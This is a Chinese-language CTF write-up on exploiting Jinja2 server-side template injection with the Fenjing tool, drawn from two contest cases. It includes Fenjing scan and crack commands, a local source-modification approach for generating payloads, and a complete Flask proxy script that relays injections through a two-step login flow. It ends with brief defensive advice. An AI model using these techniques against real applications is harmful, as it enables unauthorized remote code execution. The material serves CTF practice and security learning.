从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI
字数 1075 2025-08-22 12:23:41
Jinja2 SSTI漏洞利用进阶:从Fenjing基础使用到高级代理技术
1. Jinja2 SSTI漏洞概述
Jinja2 SSTI (Server-Side Template Injection)是一种服务器端模板注入漏洞,当应用程序使用Jinja2模板引擎并允许用户输入直接嵌入模板时,攻击者可以注入恶意模板代码,导致远程代码执行。
2. Fenjing工具基础使用
Fenjing是一款针对Jinja2 SSTI漏洞的自动化利用工具,基础使用方法如下:
2.1 基本扫描
fenjing scan -u "http://target-url/"
2.2 自动破解
fenjing crack -u "http://target-url/" -i "注入参数名"
3. 进阶利用技术
3.1 有源码情况下的利用(国赛案例)
场景特点:
- 无回显
- 不出网
- 有过滤
- 但提供源码
利用步骤:
-
修改源码:将无回显改为有回显
- 修改模板渲染逻辑,使注入结果能够显示
- 保持其他过滤条件不变
-
本地测试:
- 在本地搭建修改后的环境
- 使用Fenjing生成payload
-
实际攻击:
- 将生成的payload编码后攻击真实环境
- 注意payload可能需要URL编码或其他编码方式
3.2 无源码情况下的代理技术(西湖论剑案例)
场景特点:
- 注入点位于多步交互流程中(phone_number → password)
- 无法直接通过单次请求完成注入
- Fenjing无法直接处理多步交互
解决方案:构建本地代理服务器
3.2.1 代理服务器实现
from flask import Flask, request, Response
import requests
app = Flask(__name__)
BASE_URL = "http://target-url:port"
@app.route('/', methods=['POST'])
def proxy():
phone_number = request.form.get('phone_number')
password = request.form.get('password')
if not phone_number or not password:
return Response("Missing required parameters", status=400)
try:
# 第一步:提交phone_number
login_response = requests.post(
f"{BASE_URL}/login",
data={"phone_number": phone_number},
timeout=10
)
if login_response.status_code != 200:
return Response(f"Failed to call /login. Status code: {login_response.status_code}", status=500)
login_status = login_response.text.strip()
# 第二步:提交password
cpass_response = requests.post(
f"{BASE_URL}/cpass",
data={"password": password, "login_status": login_status},
timeout=10
)
if cpass_response.status_code != 200:
return Response(f"Failed to call /cpass. Status code: {cpass_response.status_code}", status=500)
cpass_result = cpass_response.text.strip()
response_data = f"Login response: {login_status}\nCpass response: {cpass_result}"
return Response(response_data, status=200)
except Exception as e:
return Response(f"An error occurred: {str(e)}", status=500)
if __name__ == '__main__':
app.run(host="127.0.0.1", port=5000)
3.2.2 代理使用流程
- 启动本地代理服务器
- 使用Fenjing攻击本地代理
fenjing crack -u "http://127.0.0.1:5000/" -i phone_number - 代理服务器会将请求转发到真实目标,并处理多步交互
- 获取最终注入结果
4. 关键注意事项
-
编码问题:
- 生成的payload可能需要URL编码、HTML编码等
- 根据目标环境选择合适的编码方式
-
过滤绕过:
- Fenjing内置了多种过滤绕过技术
- 对于自定义过滤,可能需要手动调整payload
-
多步交互处理:
- 对于需要多步交互的注入点,必须确保状态保持
- 代理服务器需要正确处理会话状态(如cookie、token等)
-
不出网环境:
- 考虑使用DNS外带、延时注入等技术
- 可能需要结合其他漏洞如SSRF
5. 防御建议
- 避免直接将用户输入嵌入模板
- 对模板变量进行严格的过滤和转义
- 使用沙箱环境执行模板渲染
- 限制模板中可以访问的对象和方法
6. 总结
Fenjing工具在Jinja2 SSTI漏洞利用中非常有效,但在复杂场景下需要结合:
- 源码修改(有源码时)
- 代理技术(多步交互时)
- 自定义payload调整(特殊过滤时)
通过本文介绍的进阶技术,可以应对大多数比赛和实际环境中的Jinja2 SSTI挑战。